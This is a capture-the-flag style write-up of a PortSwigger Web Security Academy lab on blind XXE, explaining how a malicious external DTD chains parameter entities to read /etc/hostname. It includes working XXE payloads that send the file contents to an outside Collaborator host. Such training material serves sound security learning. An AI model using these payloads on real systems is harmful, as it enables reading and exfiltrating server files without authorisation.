Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type Blind XXE — Out-of-Band Data Exfiltration via External DTD
Difficulty Practitioner
Objective Exfiltrate the contents of /etc/hostname

Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD — Writeup


Initial Observation

Same stock check endpoint, same XML format:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>

Injecting arbitrary text as teto:

Screenshot

Response: Invalid product ID — nothing is reflected. We're fully blind.

Trying a standard general entity:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "file://etc/hosts">]>
<stockCheck><productId>&miku;</productId><storeId>1</storeId></stockCheck>

Response: Entities are not allowed for security reasons — same filter as the previous lab.

Confirming parameter entities still work by pointing one at Collaborator:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://4lqvetwm4p4ak1w9i6z32yrbx23trkf9.oastify.com"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Screenshot

Collaborator receives the interaction — parameter entities are resolving and the parser is making outbound connections. Now we need to use that to actually carry file contents out.

Understanding the Exfiltration Chain

With a general entity we could do this in one step: define an entity pointing at a file, reference it in the body, read the value in the response. But with blind XXE, there's no response to read from — and the general entity filter blocks us from using &entity; in the body anyway.

The solution is to chain parameter entities together inside an external DTD. Here's exactly what's happening and why each piece is necessary.

Step 1 — The request to the application:

<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-server.net/exploit"> %miku;]>

This tells the parser: "there's an external DTD at that URL — fetch it and process it as part of this document's DTD." The %miku; reference triggers the fetch immediately during DTD processing. The parser downloads whatever is at that URL and treats it as additional DTD declarations.

Step 2 — What the exploit server returns (the malicious external DTD):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://collaborator.com/?teto=%file;'>">
%eval;
%exfil;

Breaking this down line by line:

Line 1: <!ENTITY % file SYSTEM "file:///etc/hostname">

Declares a parameter entity called %file whose value will be the contents of /etc/hostname. At this point the file hasn't been read yet — we've just declared the entity.

Line 2: <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://collaborator.com/?teto=%file;'>">

We're declaring a parameter entity called %eval, whose value is a string that contains another entity declaration. The &#x25; is the XML hex escape for % — we have to encode it because you can't write a literal % inside an entity value that's being parsed as XML; it would confuse the parser into thinking another entity reference is starting. When %eval eventually gets expanded, that encoded % becomes a real %, producing:

<!ENTITY % exfil SYSTEM 'http://collaborator.com/?teto=%file;'>

Which is the declaration of a third parameter entity called %exfil.

Line 3: %eval;

Expands %eval — which causes the parser to process the string inside it as an actual DTD declaration. Now %exfil exists as a declared entity.

Line 4: %exfil;

Expands %exfil — which triggers an HTTP request to our Collaborator URL with %file; substituted inline. %file at this point resolves to the contents of /etc/hostname. The file contents end up in the URL query string and Collaborator receives them in the request.

The reason this chain exists: XML doesn't allow parameter entity references to be nested directly inside another entity's value during inline declaration. Using an external DTD sidesteps this restriction — the nested declaration happens in a loaded document rather than inline, so the parser allows it.


Attack Path

Hosting the Malicious DTD

Pasting the malicious DTD into the exploit server body:

Screenshot
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://zjmqcouh2k25iwu4g1xy0tp6vx1opgd5.oastify.com/?teto=%file;'>">
%eval;
%exfil;

Sending the Trigger Request

In Burp Repeater, sending the XXE payload pointing at the exploit server:

Screenshot
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-0a3900f103fc8a6381617570010f002a.exploit-server.net/exploit"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Collaborator receives the exfiltrated /etc/hostname contents in the request URL:

Screenshot

Submitting the hostname value solves the lab ^^

Screenshot

Resources